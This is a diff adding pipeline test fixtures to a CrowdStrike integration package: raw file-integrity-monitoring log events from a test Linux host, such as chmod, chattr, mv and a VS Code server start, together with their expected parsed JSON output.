+                "original": "{\"ChangeId\":\"ca65aa54f7b9453b8ef199a5b2c8e3c4\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"testuser\",\"ID\":\"1000\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1764581217862,\"Nonce\":1314049827115114419,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-12-01T09:26:57Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "hostname": "LINUX-TEST-HOST-01",
+                "name": "LINUX-TEST-HOST-01"
+            },
+            "related": {
+                "hosts": [
+                    "LINUX-TEST-HOST-01"
+                ],
+                "user": [
+                    "testuser",
+                    "1000"
+                ]
+            },
+            "rule": {
+                "name": "/home/testuser/filevantage/",
+                "ruleset": "FileVantage Rule Group"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "1000",
+                "name": "testuser"
+            }
+        },
+        {
+            "@timestamp": "2025-11-18T08:10:35.173Z",
+            "crowdstrike": {
+                "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d",
+                "ChangeId": "26a2448c6c174cac8cd2b46b74fe93ed",
+                "ContentDiff": {
+                    "Exists": false
+                },
+                "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70",
+                "EventType": "Event_ExternalApiEvent",
+                "EventUUID": "26a2448c-6c17-4cac-8cd2-b46b74fe93ed",
+                "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched",
+                "Nonce": 8348878083986819890,
+                "Policy": {
+                    "ID": "8fd42a5c9ac24959a98d9e430837b5e6",
+                    "Name": "FileVantage Policy"
+                },
+                "Prevalence": {
+                    "Key": "1:3:FILE:CREATE:/home/testuser/filevantage/test.txt::vi:testuser"
+                },
+                "Suppression": {
+                    "Suppressed": false
+                },
+                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
+                "eid": 118
+            },
+            "event": {
+                "category": [
+                    "file"
+                ],
+                "created": "2025-11-18T08:10:35.173Z",
+                "id": "||2cc98db1a47b4c98b913c94d43bfab70",
+                "kind": "event",
+                "original": "{\"ChangeId\":\"26a2448c6c174cac8cd2b46b74fe93ed\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"testuser\",\"ID\":\"1000\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:FILE:CREATE:/home/testuser/filevantage/test.txt::vi:testuser\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"adb\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1763453435173,\"Nonce\":8348878083986819890,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"26a2448c-6c17-4cac-8cd2-b46b74fe93ed\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-11-18T08:10:35Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "sha256": "adb"
+                }
+            },
+            "host": {
+                "hostname": "LINUX-TEST-HOST-01",
+                "name": "LINUX-TEST-HOST-01"
+            },
+            "related": {
+                "hash": [
+                    "adb"
+                ],
+                "hosts": [
+                    "LINUX-TEST-HOST-01"
+                ],
+                "user": [
+                    "testuser",
+                    "1000"
+                ]
+            },
+            "rule": {
+                "name": "/home/testuser/filevantage/",
+                "ruleset": "FileVantage Rule Group"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "1000",
+                "name": "testuser"
+            }
+        },
+        {
+            "@timestamp": "2025-12-05T13:09:18.406Z",
+            "crowdstrike": {
+                "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d",
+                "ChangeId": "784c387c806a4adda54f83bc938d022d",
+                "ContentDiff": {
+                    "Exists": false
+                },
+                "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70",
+                "EventType": "Event_ExternalApiEvent",
+                "EventUUID": "784c387c-806a-4add-a54f-83bc938d022d",
+                "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched",
+                "Nonce": 7339193177690829435,
+                "Policy": {
+                    "ID": "8fd42a5c9ac24959a98d9e430837b5e6",
+                    "Name": "FileVantage Policy"
+                },
+                "Prevalence": {
+                    "Key": "1:3:FILE:ATTRIBUTES:/home/testuser/filevantage/test.txt::chattr:root"
+                },
+                "Suppression": {
+                    "Suppressed": false
+                },
+                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
+                "eid": 118
+            },
+            "event": {
+                "category": [
+                    "file"
+                ],
+                "created": "2025-12-05T13:09:18.406Z",
+                "id": "||2cc98db1a47b4c98b913c94d43bfab70",
+                "kind": "event",
+                "original": "{\"ChangeId\":\"784c387c806a4adda54f83bc938d022d\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"root\",\"ID\":\"0\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:FILE:ATTRIBUTES:/home/testuser/filevantage/test.txt::chattr:root\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1764940158406,\"Nonce\":7339193177690829435,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"784c387c-806a-4add-a54f-83bc938d022d\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-12-05T13:09:18Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "hostname": "LINUX-TEST-HOST-01",
+                "name": "LINUX-TEST-HOST-01"
+            },
+            "related": {
+                "hosts": [
+                    "LINUX-TEST-HOST-01"
+                ],
+                "user": [
+                    "root",
+                    "0"
+                ]
+            },
+            "rule": {
+                "name": "/home/testuser/filevantage/",
+                "ruleset": "FileVantage Rule Group"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "0",
+                "name": "root"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log
new file mode 100644
index 0000000000..c8074c265b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log
@@ -0,0 +1,4 @@
+{"CommandLine":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node /home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js --start-server --host=127.0.0.1 --accept-server-license-terms --enable-remote-auto-shutdown --port=0 --telemetry-level all --connection-token-file /home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018306.15","ConfigStateHash":"3670115942","ContextProcessId":"53161386728422","ContextTimeStamp":"1764581215.460","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/usr/bin/env","ImageFileName":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.20","ObjectAccessOperationType":"1","ObjectName":"/home/testuser/filevantage/suppressed","ObjectType":"2","ParentImageFileName":"/usr/bin/bash","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","RUID":"1000","RawProcessId":"32136","RuleModifiedTimeStamp":"","UID":"1000","UserName":"testuser","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.20","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764581216103"}
+{"CommandLine":"chattr -i test.txt","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018308.15","ConfigStateHash":"4077874319","ContextProcessId":"56475831735124","ContextTimeStamp":"1764940155.335","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/usr/bin/bash","ImageFileName":"/usr/bin/chattr","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.11","NewFileAttributesLinux":"0","ObjectAccessOperationType":"6","ObjectName":"/home/testuser/filevantage/test.txt","ObjectType":"1","ParentImageFileName":"/usr/bin/sudo","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","PreviousFileAttributesLinux":"16","RUID":"0","RawProcessId":"11590","RuleModifiedTimeStamp":"","UID":"0","UserName":"root","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.1","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"784c387c-806a-4add-a54f-83bc938d022d","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764940155942"}
+{"CommandLine":"chmod +x test.sh","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018308.15","ConfigStateHash":"4077874319","ContextProcessId":"56470381986263","ContextTimeStamp":"1764939765.615","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node","ImageFileName":"/usr/bin/chmod","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.11","NewUnixPermissions":"509","ObjectAccessOperationType":"7","ObjectName":"/home/testuser/filevantage/test.sh","ObjectType":"1","ParentImageFileName":"/usr/bin/bash","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","PreviousUnixPermissions":"436","RUID":"1000","RawProcessId":"1205","RuleModifiedTimeStamp":"","SecurityInformationLinux":"1","UID":"1000","UserName":"testuser","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.1","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"48cd83c0-62ba-471c-a6a2-fa5309195dde","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764939766240"}
+{"CommandLine":"mv test.txt newname.txt","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018308.15","ConfigStateHash":"4077874319","ContextProcessId":"56480700653114","ContextTimeStamp":"1764940527.728","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node","ImageFileName":"/usr/bin/mv","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.11","ObjectAccessOperationType":"5","ObjectName":"/home/testuser/filevantage/test.txt","ObjectNameNew":"/home/testuser/filevantage/newname.txt","ObjectType":"1","ParentImageFileName":"/usr/bin/bash","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","RUID":"1000","RawProcessId":"21533","RuleModifiedTimeStamp":"","UID":"1000","UserName":"testuser","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.1","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"54049e9e-d8c2-41c8-8822-98687f7a3608","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764940528352"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json
new file mode 100644
index 0000000000..3b272f36c9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json
@@ -0,0 +1,636 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2025-12-01T09:26:56.103Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3670115942",
+                "ContextProcessId": "53161386728422",
+                "ContextTimeStamp": "2025-12-01T09:26:55.460Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "GrandparentImageFileName": "/usr/bin/env",
+                "IsEBPF": "0",
+                "IsFromDifferentMountNamespace": "0",
+                "LocalAddressIP4": [
+                    "192.0.2.20"
+                ],
+                "ObjectAccessOperationType": "CREATE",
+                "ObjectType": "FOLDER",
+                "ParentImageFileName": "/usr/bin/bash",
+                "Policy": {
+                    "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6"
+                },
+                "PolicyRuleSeverity": 3,
+                "RUID": "1000",
+                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
+                "id": "ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4",
+                "name": "FileIntegrityMonitorRuleMatchedLinV9"
+            },
+            "device": {
+                "id": "2e3d9c94d9c34764860b1f3b444c6d4d"
+            },
+            "event": {
+                "action": "FileIntegrityMonitorRuleMatched",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-12-01T09:26:56.103Z",
+                "id": "ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70",
+                "kind": "event",
+                "original": "{\"CommandLine\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node /home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js --start-server --host=127.0.0.1 --accept-server-license-terms --enable-remote-auto-shutdown --port=0 --telemetry-level all --connection-token-file /home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018306.15\",\"ConfigStateHash\":\"3670115942\",\"ContextProcessId\":\"53161386728422\",\"ContextTimeStamp\":\"1764581215.460\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/usr/bin/env\",\"ImageFileName\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.20\",\"ObjectAccessOperationType\":\"1\",\"ObjectName\":\"/home/testuser/filevantage/suppressed\",\"ObjectType\":\"2\",\"ParentImageFileName\":\"/usr/bin/bash\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"RUID\":\"1000\",\"RawProcessId\":\"32136\",\"RuleModifiedTimeStamp\":\"\",\"UID\":\"1000\",\"UserName\":\"testuser\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.20\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764581216103\"}",
+                "severity": 73,
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/home/testuser/filevantage",
+                "name": "suppressed",
+                "path": "/home/testuser/filevantage/suppressed",
+                "type": "dir"
+            },
+            "host": {
+                "hostname": "LINUX-TEST-HOST-01",
+                "id": "2e3d9c94d9c34764860b1f3b444c6d4d",
+                "name": "LINUX-TEST-HOST-01",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "FileIntegrityMonitorRuleMatched",
+            "observer": {
+                "address": [
+                    "192.0.2.20"
+                ],
+                "geo": {
+                    "city_name": "Las Vegas",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 36.17497,
+                        "lon": -115.13722
+                    },
+                    "region_iso_code": "US-NV",
+                    "region_name": "Nevada"
+                },
+                "ip": [
+                    "192.0.2.20"
+                ],
+                "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d",
+                "version": "1007.8.0018306.15"
+            },
+            "process": {
+                "args": [
+                    "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node",
+                    "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js",
+                    "--start-server",
+                    "--host=127.0.0.1",
+                    "--accept-server-license-terms",
+                    "--enable-remote-auto-shutdown",
+                    "--port=0",
+                    "--telemetry-level",
+                    "all",
+                    "--connection-token-file",
+                    "/home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token"
+                ],
+                "args_count": 11,
+                "command_line": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node /home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js --start-server --host=127.0.0.1 --accept-server-license-terms --enable-remote-auto-shutdown --port=0 --telemetry-level all --connection-token-file /home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token",
+                "entity_id": "53161386728422",
+                "executable": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node",
+                "name": "node",
+                "pid": 32136,
+                "real_user": {
+                    "id": "1000"
+                }
+            },
+            "related": {
+                "hash": [
+                    "3670115942"
+                ],
+                "hosts": [
+                    "LINUX-TEST-HOST-01"
+                ],
+                "ip": [
+                    "192.0.2.20"
+                ],
+                "user": [
+                    "testuser",
+                    "1000"
+                ]
+            },
+            "rule": {
+                "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235",
+                "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E"
+            },
+            "source": {
+                "address": "192.0.2.20",
+                "as": {
+                    "number": 64500,
+                    "organization": {
+                        "name": "Documentation ASN"
+                    }
+                },
+                "geo": {
+                    "city_name": "Las Vegas",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 36.17497,
+                        "lon": -115.13722
+                    },
+                    "region_iso_code": "US-NV",
+                    "region_name": "Nevada"
+                },
+                "ip": "192.0.2.20"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "Ext": {
+                    "real": {
+                        "id": "1000"
+                    }
+                },
+                "id": "1000",
+                "name": "testuser"
+            }
+        },
+        {
+            "@timestamp": "2025-12-05T13:09:15.942Z",
+            "crowdstrike": {
+                "ConfigStateHash": "4077874319",
+                "ContextProcessId": "56475831735124",
+                "ContextTimeStamp": "2025-12-05T13:09:15.335Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "GrandparentImageFileName": "/usr/bin/bash",
+                "IsEBPF": "0",
+                "IsFromDifferentMountNamespace": "0",
+                "LocalAddressIP4": [
+                    "192.0.2.11"
+                ],
+                "NewFileAttributesLinux": "0",
+                "ObjectAccessOperationType": "ATTRIBUTES_CHANGED",
+                "ObjectType": "FILE",
+                "ParentImageFileName": "/usr/bin/sudo",
+                "Policy": {
+                    "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6"
+                },
+                "PolicyRuleSeverity": 3,
+                "PreviousFileAttributesLinux": "16",
+                "RUID": "0",
+                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
+                "id": "784c387c-806a-4add-a54f-83bc938d022d",
+                "name": "FileIntegrityMonitorRuleMatchedLinV9"
+            },
+            "device": {
+                "id": "2e3d9c94d9c34764860b1f3b444c6d4d"
+            },
+            "event": {
+                "action": "FileIntegrityMonitorRuleMatched",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-12-05T13:09:15.942Z",
+                "id": "784c387c-806a-4add-a54f-83bc938d022d|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70",
+                "kind": "event",
+                "original": "{\"CommandLine\":\"chattr -i test.txt\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018308.15\",\"ConfigStateHash\":\"4077874319\",\"ContextProcessId\":\"56475831735124\",\"ContextTimeStamp\":\"1764940155.335\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/usr/bin/bash\",\"ImageFileName\":\"/usr/bin/chattr\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.11\",\"NewFileAttributesLinux\":\"0\",\"ObjectAccessOperationType\":\"6\",\"ObjectName\":\"/home/testuser/filevantage/test.txt\",\"ObjectType\":\"1\",\"ParentImageFileName\":\"/usr/bin/sudo\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"PreviousFileAttributesLinux\":\"16\",\"RUID\":\"0\",\"RawProcessId\":\"11590\",\"RuleModifiedTimeStamp\":\"\",\"UID\":\"0\",\"UserName\":\"root\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.1\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"784c387c-806a-4add-a54f-83bc938d022d\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764940155942\"}",
+                "severity": 73,
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "attributes": [
+                    "0"
+                ],
+                "directory": "/home/testuser/filevantage",
+                "extension": "txt",
+                "name": "test.txt",
+                "path": "/home/testuser/filevantage/test.txt",
+                "type": "file"
+            },
+            "host": {
+                "hostname": "LINUX-TEST-HOST-01",
+                "id": "2e3d9c94d9c34764860b1f3b444c6d4d",
+                "name": "LINUX-TEST-HOST-01",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "FileIntegrityMonitorRuleMatched",
+            "observer": {
+                "address": [
+                    "192.0.2.1"
+                ],
+                "geo": {
+                    "city_name": "Las Vegas",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 36.17497,
+                        "lon": -115.13722
+                    },
+                    "region_iso_code": "US-NV",
+                    "region_name": "Nevada"
+                },
+                "ip": [
+                    "192.0.2.1"
+                ],
+                "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d",
+                "version": "1007.8.0018308.15"
+            },
+            "process": {
+                "args": [
+                    "chattr",
+                    "-i",
+                    "test.txt"
+                ],
+                "args_count": 3,
+                "command_line": "chattr -i test.txt",
+                "entity_id": "56475831735124",
+                "executable": "/usr/bin/chattr",
+                "name": "chattr",
+                "pid": 11590,
+                "real_user": {
+                    "id": "0"
+                }
+            },
+            "related": {
+                "hash": [
+                    "4077874319"
+                ],
+                "hosts": [
+                    "LINUX-TEST-HOST-01"
+                ],
+                "ip": [
+                    "192.0.2.1",
+                    "192.0.2.11"
+                ],
+                "user": [
+                    "root",
+                    "0"
+                ]
+            },
+            "rule": {
+                "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235",
+                "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E"
+            },
+            "source": {
+                "address": "192.0.2.11",
+                "as": {
+                    "number": 64500,
+                    "organization": {
+                        "name": "Documentation ASN"
+                    }
+                },
+                "geo": {
+                    "city_name": "Las Vegas",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 36.17497,
+                        "lon": -115.13722
+                    },
+                    "region_iso_code": "US-NV",
+                    "region_name": "Nevada"
+                },
+                "ip": "192.0.2.11"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "Ext": {
+                    "real": {
+                        "id": "0"
+                    }
+                },
+                "id": "0",
+                "name": "root"
+            }
+        },
+        {
+            "@timestamp": "2025-12-05T13:02:46.240Z",
+            "crowdstrike": {
+                "ConfigStateHash": "4077874319",
+                "ContextProcessId": "56470381986263",
+                "ContextTimeStamp": "2025-12-05T13:02:45.615Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "GrandparentImageFileName": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node",
+                "IsEBPF": "0",
+                "IsFromDifferentMountNamespace": "0",
+                "LocalAddressIP4": [
+                    "192.0.2.11"
+                ],
+                "NewUnixPermissions": "509",
+                "ObjectAccessOperationType": "PERMISSIONS_CHANGED",
+                "ObjectType": "FILE",
+                "ParentImageFileName": "/usr/bin/bash",
+                "Policy": {
+                    "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6"
+                },
+                "PolicyRuleSeverity": 3,
+                "PreviousUnixPermissions": "436",
+                "RUID": "1000",
+                "SecurityInformationLinux": "1",
+                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
+                "id": "48cd83c0-62ba-471c-a6a2-fa5309195dde",
+                "name": "FileIntegrityMonitorRuleMatchedLinV9"
+            },
+            "device": {
+                "id": "2e3d9c94d9c34764860b1f3b444c6d4d"
+            },
+            "event": {
+                "action": "FileIntegrityMonitorRuleMatched",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-12-05T13:02:46.240Z",
+                "id": "48cd83c0-62ba-471c-a6a2-fa5309195dde|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70",
+                "kind": "event",
